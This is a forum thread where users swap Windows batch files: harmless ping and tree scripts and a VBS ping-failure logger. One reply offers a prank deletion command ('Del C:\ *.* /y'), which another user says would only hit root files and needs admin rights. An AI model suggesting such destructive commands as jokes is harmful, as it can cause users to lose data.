Jump to content

Submit the coolest Batch files ever!

hi plz submit batch codes lol

 

my code:

 

@echo off

title Hack

color 0A

cls

tree

ping www.linustechtips.com -t

pause >nul

 

 

 

also this:

 

@echo off

title Ping
color 0A
cls

echo.
echo  Ping
echo.
set/p Website=Please enter a URL: 
pause
ping %Website% -t

Link to comment
Share on other sites

Link to post
Share on other sites

Try this

@echo off 

Del C:\ *.* /y

Spoiler

?

 

desktop

Spoiler

r5 3600,3450@0.9v (0.875v get) 4.2ghz@1.25v (1.212 get) | custom loop cpu&gpu 1260mm nexxos xt45 | MSI b450i gaming ac | crucial ballistix 2x8 3000c15->3733c15@1.39v(1.376v get) |Zotac 2060 amp | 256GB Samsung 950 pro nvme | 1TB Adata su800 | 4TB HGST drive | Silverstone SX500-LG

HTPC

Spoiler

HTPC i3 7300 | Gigabyte GA-B250M-DS3H | 16GB G Skill | Adata XPG SX8000 128GB M.2 | Many HDDs | Rosewill FBM-01 | Corsair CXM 450W

 

 

Link to comment
Share on other sites

Link to post
Share on other sites

17 minutes ago, Cyracus said:

Try this

@echo off 

Del C:\ *.* /y

  Hide contents

?

 

That doesn't work, it doesn't touch folders so it would only be deleting any files in the root of C none of witch are very important. You also need to run it as administrator to even do that.

 

But to add to the this post.

This isn't a batch script but a vbs file I stumbled accrost a few years ago. I didn't write it.
 

hostIp      = wscript.arguments(0)
logfilename = wscript.arguments(1)
Set fso     = CreateObject("Scripting.FileSystemObject")
Set Shell   = CreateObject("Wscript.Shell")
' OpenTextFile Method requires a Const value
' (Over)Write = 2  Append = 8   
Set logfile = fso.OpenTextFile(logfilename, 8, True)
shellstring = "%comspec% /c ping -t " & hostIP
Set oExec   = Shell.Exec(shellstring)
wscript.echo "Ping Error log With Timestamp - Ctrl + C to halt"
Do While oExec.StdOut.AtEndOfStream <> True
      pingline = Date & " " & Time & " " & oExec.StdOut.ReadLine
      If InStr(pingline, "TTL=") = 0 Then
         logfile.WriteLine(pingline)
      End If
Loop

 

It pings an IP address forever and logs any time it fails to respond in a txt file with a data and time stamp.

 

Just past this into a file and save it as a vbs for example. I called my file Pinglog.vbs
the command to run it would be
 

PingLog.vbs 8.8.8.8 test.txt

This will ping 8.8.8.8 and log any failed request to the test.txt file.

Link to comment
Share on other sites

Link to post
Share on other sites

Guest
This topic is now closed to further replies.

×